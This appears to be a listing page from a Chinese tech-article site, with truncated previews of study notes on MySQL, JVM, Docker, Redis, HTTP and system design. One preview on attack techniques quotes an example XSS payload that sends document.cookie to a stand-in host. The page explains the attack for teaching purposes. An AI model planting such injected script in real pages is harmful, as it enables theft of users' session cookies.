• 新版网站前后台即将上线,2019年将致力于提高文章质量,加大原创力度,打造一个更加舒适的阅读体验!
  • 极客文库小编@勤劳的小蚂蚁,为您推荐每日资讯,欢迎关注!
  • 新版网站前后台即将上线,2019年将致力于提高文章质量,加大原创力度,打造一个更加舒适的阅读体验!
  • 如果有任何体验不佳的地方,欢迎向客服反馈!

每天更新原创技术文章及教程,欢迎关注!

MySQL索引的使用

MySQL索引的使用
索引的使用 MySQL 索引使用的数据结构主要有 BTree 索引和哈希索引 。 对于哈希索引来说,底层数据结构就是哈希表,因此在绝大多数需求为单条记录查询的时候,可以选择使用晗希索引 ,查询性能最快;其余大部分索引场景,则建议选择 BTree 索引 。MySQL 的 BTree 索引使用的是 B 树中的 B+Tree ,但对于主要的两种存储引擎其实现……继续阅读 »

多啦H梦 6个月前 (08-17) 408浏览 1评论0个赞

数据库中的事务机制

数据库中的事务机制
事务机制关系型数据库是需要遵循 ACID 规则的,分别介绍如下 。A( Atomic )原子性:即事务要么全部做完,要么全部都不做。 只要其中一个操作失败,就认为事务失败,需要回滚 。C ( Consistency )一致性: 数据库要一直处于一致的状态 。I ( Isolation )独立性: 并发的事务之间不会互相影响 。D ( Dura……继续阅读 »

多啦H梦 6个月前 (08-16) 301浏览 0评论0个赞

MySQL数据同步中的Binlog

MySQL数据同步中的Binlog
MySQL 的 Binlog 是用来做 POINT-IN-TIME 的恢复和主从复制的,由数据库上层生戚,是 SQL 执行的逻辑日志,在事务提交完成后进行一次写入 。Binlog 有如下 3 种格式 。1 ) StatementMySQL 的默认 Binlog 格式 。 每一条会修改数据的 SQL 都被记录到 bin-log 中, Slave 在复制……继续阅读 »

多啦H梦 6个月前 (08-15) 297浏览 0评论0个赞

MySQL查询缓存的使用

MySQL查询缓存的使用
查询缓存的使用 my.cnf 中加入以下配置 ,重启 MySQL 开启查询缓存 :query_cache_type = 1query_cache_size = 60000MySQL 命令行执行以下命令,也可开启查询缓存:set global query_cache_type = 1;set global query_cache_s……继续阅读 »

多啦H梦 6个月前 (08-14) 262浏览 0评论0个赞

关系型数据库——MySQL存储引擎简介

关系型数据库——MySQL存储引擎简介
MySQL关系型数据库是采用关系模型来组织数据的数据库。 所谓关系模型指的就是二维表格模型,而一个关系型数据库就是由二维表格及其之间的联系所组成的一个数据组 。目前,用得最普遍的关系型数据库有 MySQL 、 Oracle 、 PostgreSQL 等 。 这里针对 Java 开发中最常用的 MySQL 进行阐述。存储引擎MySQL 主要有两种……继续阅读 »

多啦H梦 6个月前 (08-13) 250浏览 0评论0个赞

JVM面试问题总结

JVM面试问题总结
1. 讲一下 Java 内存划分Java 虚拟机在运行程序时会把其自动管理的内存划分为以下几个区域: – 堆内存:所有线程共享,对象实例。当扩展内存大于可用内存,抛 OOM。 – 方法区:已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。当内存申请大于实际可用内存,抛 OOM。(JDK1.8 以前,1.8 已……继续阅读 »

Geekerstar 7个月前 (08-10) 296浏览 0评论0个赞

对锁的一些认知

对锁的一些认知
同一进程重入锁使用 ReentrantLock 获取锁的时候会会判断当前线程是否为获取锁的线程,如果是则将同步的状态 +1 ,释放锁的时候则将状态 -1。只有将同步状态的次数置为 0 的时候才会最终释放锁。读写锁使用 ReentrantReadWriteLock ,同时维护一对锁:读锁和写锁。当写线程访问时则其他所有锁都将阻塞,读线程访问时则不会。通……继续阅读 »

Geekerstar 7个月前 (08-07) 273浏览 0评论0个赞

Java 运行时的内存划分

Java 运行时的内存划分
Java 运行时的内存划分程序计数器记录当前线程所执行的字节码行号,用于获取下一条执行的字节码。当多线程运行时,每个线程切换后需要知道上一次所运行的状态、位置。由此也可以看出程序计数器是每个线程私有的。虚拟机栈虚拟机栈由一个一个的栈帧组成,栈帧是在每一个方法调用时产生的。每一个栈帧由局部变量区、操作数栈等组成。每创建一个栈帧压栈,当一个方法执行……继续阅读 »

Geekerstar 7个月前 (08-07) 339浏览 0评论0个赞

类加载机制

类加载机制
双亲委派模型模型如下图:双亲委派模型中除了启动类加载器之外其余都需要有自己的父类加载器当一个类收到了类加载请求时: 自己不会首先加载,而是委派给父加载器进行加载,每个层次的加载器都是这样。所以最终每个加载请求都会经过启动类加载器。只有当父类加载返回不能加载时子加载器才会进行加载。双亲委派的好处 : 由于每个类加载都会经过最顶层的启动类加载器,比如……继续阅读 »

Geekerstar 7个月前 (08-07) 261浏览 0评论0个赞

如何设计一个秒杀系统

如何设计一个秒杀系统
如何设计一个秒杀系统具体实现参考 秒杀架构实践主要做到以下两点:尽量将请求过滤在上游。尽可能的利用缓存(大多数场景下都是查多于写)。常用的系统分层结构:针对于浏览器端,可以使用 JS 进行请求过滤,比如五秒钟之类只能点一次抢购按钮,五秒钟只能允许请求一次后端服务。(APP 同理)这样其实就可以过滤掉大部分普通用户。但是防不住直接抓包循环……继续阅读 »

Geekerstar 7个月前 (08-05) 245浏览 0评论0个赞

编码实践之重构

编码实践之重构
一、第一个案例如果你发现自己需要为程序添加一个特性,而代码结构使你无法很方便地达成目的,那就先重构这个程序。在重构前,需要先构建好可靠的测试环境,确保安全地重构。重构需要以微小的步伐修改程序,如果重构过程发生错误,很容易就能发现错误。案例分析影片出租店应用程序,需要计算每位顾客的消费金额。包括三个类:Movie、Rental 和 Customer……继续阅读 »

多啦H梦 7个月前 (08-03) 201浏览 0评论0个赞

构建工具学习笔记

构建工具学习笔记
一、什么是构建工具构建工具是用于构建项目的自动化工具,主要包含以下工作:依赖管理不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。运行单元测试不再需要在项目代码中添加测试代码,从而污染项目代码。将源代码转化为可执行文件包含预处理、编译、汇编、链接等步骤。将……继续阅读 »

多啦H梦 7个月前 (08-02) 273浏览 0评论0个赞

Docker学习笔记

Docker学习笔记
一、解决的问题由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机……继续阅读 »

多啦H梦 7个月前 (08-02) 317浏览 0评论0个赞

系统设计学习笔记之消息队列

系统设计学习笔记之消息队列
一、消息模型点对点消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。发布/订阅消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。发布与订阅模式和观察者模式有以下不同:观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。观察……继续阅读 »

多啦H梦 7个月前 (08-02) 225浏览 0评论0个赞

系统设计学习笔记之缓存

系统设计学习笔记之缓存
一、缓存特征命中率当某个请求能够通过访问缓存而得到响应时,称为缓存命中。缓存命中率越高,缓存的利用率也就越高。最大空间缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。淘汰策略FIFO(First In First Out):先进先出策略……继续阅读 »

多啦H梦 7个月前 (08-02) 260浏览 0评论0个赞

系统设计学习笔记之攻击技术

系统设计学习笔记之攻击技术
一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:location.href="//domain.com/?c=" + document.cookie……继续阅读 »

多啦H梦 7个月前 (08-02) 201浏览 0评论0个赞

系统设计学习笔记之分布式

系统设计学习笔记之分布式
一、分布式锁在单机场景下,可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态;互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值表示,也可以用某个数据存在或者不存在表示,存在表示……继续阅读 »

多啦H梦 7个月前 (08-02) 256浏览 0评论0个赞

系统设计学习笔记之系统设计基础

系统设计学习笔记之系统设计基础
一、性能性能指标1. 响应时间指从某个请求发出到接收到响应消耗的时间。在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。2. 吞吐量指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。3. 并发用户数指系统能同时处理的并发用户请求数量。在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系……继续阅读 »

多啦H梦 7个月前 (08-02) 221浏览 0评论0个赞

系统设计学习笔记之集群

系统设计学习笔记之集群
一、负载均衡集群中的应用服务器通常被设计成无状态,用户可以请求任何一个节点(应用服务器)。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:高可用:当某个节点故障时,负载均衡器不会将用户请求转发到该节点上,从而保证所有服务持续可用;伸缩性:可以很容易地添加移除节点。负载均衡运行过程……继续阅读 »

多啦H梦 7个月前 (08-02) 210浏览 0评论0个赞

HTTP学习笔记

HTTP学习笔记
一、基础概念Web 基础– HTTP(HyperText Transfer Protocol,超文本传输协议)。– WWW(World Wide Web)的三种技术:HTML、HTTP、URL。– RFC(Request for Comments,征求修正意见书),互联网的设计文档。URL– URI……继续阅读 »

多啦H梦 7个月前 (08-01) 225浏览 0评论0个赞

Socket学习笔记

Socket学习笔记
一、I/O 模型一个输入操作通常包括两个阶段:等待数据准备好从内核向进程复制数据对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待分组到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。Unix 下有五种 I/O 模型:阻塞式 I/O非阻塞式 I/OI/O 复用(select 和……继续阅读 »

多啦H梦 7个月前 (08-01) 282浏览 0评论0个赞

Redis学习笔记

Redis学习笔记
一、概述Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串,值支持的五种类型数据类型为:字符串、列表、集合、有序集合、散列表。Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。二、数据类型What Redis data ……继续阅读 »

多啦H梦 7个月前 (07-26) 203浏览 0评论0个赞

MySQL学习笔记

MySQL学习笔记
一、存储引擎InnoDBInnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。实现了四个标准的隔离级别,默认级别是可重复读(REPEATABLE READ)。在可重复读隔离级别下,通过多版本并发控制(MVCC)+ 间隙锁(next-key locking)防止幻影读。主索引是聚簇索引,在……继续阅读 »

多啦H梦 7个月前 (07-26) 461浏览 0评论0个赞

  • 精品技术教程
  • 编程资源分享
  • 问答交流社区
  • 极客文库知识库

客服QQ


QQ:2248886839


工作时间:09:00-23:00